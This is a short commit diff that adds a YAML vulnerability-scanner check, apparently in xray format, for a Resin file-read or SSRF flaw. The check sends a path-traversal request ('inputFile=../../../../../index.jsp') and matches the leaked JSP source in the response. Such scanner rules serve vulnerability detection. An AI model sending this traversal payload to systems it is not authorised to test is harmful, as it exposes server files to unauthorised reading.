优化xray解析模块,支持groups、新增poc

WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-resin-inputfile-fileread-or-ssrf
+rules:
+  - method: GET
+    path: /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes("<%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %>"))
+detail:
+  author: whynot(https://github.com/notwhy)
+  links:
+    - https://www.secpulse.com/archives/496.html